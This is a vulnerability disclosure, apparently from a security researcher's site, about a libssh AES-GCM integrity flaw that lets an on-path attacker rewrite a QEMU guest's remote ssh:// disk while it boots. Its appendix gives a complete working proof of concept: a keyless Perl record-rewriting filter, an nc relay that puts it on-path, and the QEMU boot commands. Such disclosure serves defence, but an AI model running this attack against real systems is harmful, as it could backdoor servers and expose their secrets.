Server boots remote disk rewritten in-flight

A virtual machine can keep its drive on another host and read over SSH — sit on the wire, edit as the machine reads — server boots from adversarial drive.

`Discovered 8 May 2026`

A disk feels like the most solid thing a computer owns — a slab of storage bolted into the box. A virtual machine's disk, though, need not be nearby. QEMU, the engine under most of the world's Linux virtualisation, can open a disk image straight off a remote host, fetching blocks across the wire.

QEMU boots TinyCore. On-path adversary rewrites splash screen in-flight.

Put a tap on the wire. The integrity check that is meant to make SSH stream uneditable is broken in the library used by QEMU, so whoever sits on the path can change blocks in flight. The guest asks for sector after sector of its own drive and is handed what the attacker rewrote. No corruption alarm sounds, because to every layer above, the disk read *succeeded*. The machine simply boots, and runs, off a drive authored in transit.

> *Not the disk on the shelf — the disk on the wire.* ***#drive-by-wire***

Once the drive is the attacker's to write, the guest is the attacker's to own — completely, from the first block. This is not a leaked secret or a single tampered file; it is the whole substrate the guest trusts. Boot loader, kernel, binaries (`/bin` & `/sbin`), libraries (`/lib`), keys (`/etc`) — all of it arrives across a wire an attacker is editing. An integrity bug in a small, unglamorous library was, for its whole life, enough to author the server's disk.

A server stood up from a remote image can be handed a backdoored operating system and never know; the disk it reads is real storage on a real host, correctly named, and wrong in every way that matters:

CI/CD runner farm: build machine boots afresh from golden image every job, forge boot chain to own runner from birth, it hands you every signing key, secret, and artifact the pipeline feeds.

Cloud provisioning fleet: thousands of instances stamped from one base image over network storage, single on-path position backdoors every one from first boot — golden image on the server checksums clean.

Backup or migration: admin pulls golden image to copy or move, and the forged boot chain rides into a destination with a persistent backdoor, leaving the original image untouched.

The thread through all three is the same: something unattended boots known image over wire, and whoever holds the wire authors what boots.

The fault is not with QEMU. One layer beneath sits *libssh*, and beneath that a broken seal: every encrypted record travels under one, a flipped predicate skipped inspection, rewritten records read as authentic. Cybernuke spotted it and wrote the one-line fix, which shipped in libssh 0.11.5. We never spoke to Debian, the CVE carried our fix through, ensuring seal inspection for QEMU and every other libssh-linked application (libssh 0.11.5-0+deb13u1, 1 August 2026). **The underlying vulnerability →**

Discovered 2026-05-08. Targets: QEMU's `ssh://` block driver (qemu-img / qemu-system / qemu-nbd), on Debian's libssh `0.11.2-1+deb13u1`. Prior art: the underlying primitive — WAVED / CVE-2026-59847, the libssh AES-GCM integrity break, fixed in libssh 0.11.5 and shipped to Debian on 1 Aug 2026. CWE-354 · CVSS 8.1 High (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).

Detected & exploited by cybernuke — cybernuke.bensmyth.com.

`Appendix: run it for yourself`

`Three boots of the same public TinyCore image, one discriminator — the boot-prompt splash: the real penguin with no attacker, the Cybernuke screen on vulnerable libssh, a read error on patched:`

```
# 1) no attacker: the real TinyCore boot screen
  ISOLINUX 4.05 0x4f92e181 ETCD Copyright (C) 1994-2011 H. Peter Anvin et al
     /) TC (\   Core is distributed with ABSOLUTELY NO WARRANTY.
    (/-_--_-\)           www.tinycorelinux.net

# 2) on-path forge, VULNERABLE libssh: the attacker's screen is delivered
     ==== CYBERNUKE ====
     Your operating system was rewritten; we mean no harm:
     Integrity seal is present, just broken, bug skipped
     Inspection, splash screen read as authentic

# 3) same forge, PATCHED libssh: the disk fails closed at boot.msg's sector
   EDD: Error 0c00 reading sector 8935
   Invalid or corrupt kernel image.
```

`The three run identical code; the two that matter differ only in libssh — two builds from one 0.11.2 tree, one predicate apart, which is the whole vulnerability:`

```
$ objdump -d vuln-lib/libssh.so.4     # evp_cipher_aead_decrypt tag check
    call   EVP_DecryptFinal
    mov    %eax,-0x24(%rbp)
    cmpl   $0x0,-0x24(%rbp)
    -> 'if (rc < 0) : EVP_DecryptFinal returns 0 on a bad tag,
        which is not < 0, so the forged record is ACCEPTED.

$ objdump -d patched-lib/libssh.so.4  # the one-line fix
    call   EVP_DecryptFinal
    mov    %eax,-0x24(%rbp)
    cmpl   $0x1,-0x24(%rbp)
    -> 'if (rc != 1 || outlen != 0)': 0 is not 1, so REJECTED.
```

`The attacker is WAVED's own flip.pl — generalized here for the app-layer family. It is a keyless filter in an on-path nc relay: it rewrites exactly one server→client record — the SFTP DATA carrying isolinux's boot.msg — XORing known ^ chosen into it and leaving the GCM tag untouched, the byte the vulnerable predicate never checks:`

```
#!/usr/bin/env perl
# Shared on-path attacker for the WAVED-downstream findings: a filter in an nc
# relay that holds no key. AES-GCM is counter mode, so exclusive-or-ing the
# difference of two known strings into the ciphertext puts the second into the
# plaintext, under a tag that no longer matches. It picks a record out by size
# and rewrites the payload in place, decrypting nothing.
#
# A generalised branch of WAVED's own attacker (which is unchanged, and forges
# the client's exec command). Place this in the stream to rewrite: the app-layer
# findings filter the server's replies. With no extra arguments it matches the
# original -- the command's length gives the record size, offset 19, the first
# such record. The downstream cases pass the three things that differ:
#   flip.pl KNOWN CHOSEN [SIZE [OFF [INDEX]]]      HEX=1  -> KNOWN/CHOSEN are hex
#                                                  DEBUG=1 -> list record sizes
# KNOWN and CHOSEN must be equal length; SIZE picks the record, OFF is the byte
# offset of the payload in the body, INDEX is which record of SIZE to take.
$| = 1; binmode STDIN; binmode STDOUT;
my ($KNOWN, $CHOSEN, $SIZE, $OFF, $INDEX) = @ARGV;
if ($ENV{HEX}) { $_ = pack "H*", $_ for $KNOWN, $CHOSEN }
die "attacker: the two payloads differ in length\n"
  if length($KNOWN) != length($CHOSEN);
my $DELTA = $KNOWN ^ $CHOSEN;
my $ext = defined $SIZE;                # downstream (explicit) vs WAVED default
$OFF   //= 19;
$INDEX //= 0;
$SIZE  //= 16 * int((19 + length($KNOWN) + 4 + 15) / 16);
my $DEBUG = $ENV{DEBUG} // 0;

# read(2) may return short; loop, or a truncated record desyncs the relay.
sub rd {
  my ($n, $b, $g) = (shift, '', 0);
  while ($g < $n) {
    my $r = read STDIN, my $c, $n - $g;
    return undef if !defined $r || $r == 0;
    $b .= $c; $g += $r;
  }
  return $b;
}

print scalar <STDIN>;                  # the plaintext version line, unchanged
my ($senc, $count, $done) = (0, 0, 0);
while (defined(my $len = rd(4))) {
  my $n = unpack "N", $len;
  my $body = rd($n + ($senc ? 16 : 0));
  last if !defined $body;
  if (!$senc) {
    $senc = substr($body, 1, 1) eq "\x15";    # SSH_MSG_NEWKEYS
  } else {
    warn "record: n=$n\n" if $DEBUG;
    if ($n == $SIZE && length($DELTA)) {
      if ($count == $INDEX && !$done) {
        $done = 1;
        substr($body, $OFF, length $DELTA) ^= $DELTA;
        warn $ext ? "attacker: rewrote the $n-byte record at offset $OFF\n"
                  : "attacker: rewrote the command in the $n-byte record\n";
      }
      $count++;
    }
  }
  print $len, $body;
}
warn "attacker: $count record(s) of $SIZE bytes seen\n";
```

`Counter mode lands chosen in the plaintext where the record's real bytes equal known, so known has to be the genuine bytes of boot.msg — and against a public image, it can. Those bytes are known, so read them straight from it; chosen is whatever you put in their place, a 181-byte string in hex (padded to that length):`

```
$ tail -c +18298881 Core.iso | head -c 181 | od -An -tx1 | tr -d ' \n'>known.hex
```

`The whole run — serve the image, drop the relay onto the path aimed at boot.msg's record (ISO sector 8935, the 22nd 2048-byte read, offset 23), and boot the guest:`

```
$ sshd -f sshd.conf   # a stock sshd serving Core.iso over SFTP
$ mkfifo back ; nc -l -p 4088 <back | nc 127.0.0.1 4022 \
    | HEX=1 perl flip.pl $(cat known.hex) $(cat chosen.hex) 2080 23 21 >back &
$ LD_LIBRARY_PATH=vuln-lib qemu-system-x86_64 -nographic -boot d \
    -drive media=cdrom,file=ssh://127.0.0.1:4088/Core.iso?host_key_check=no
```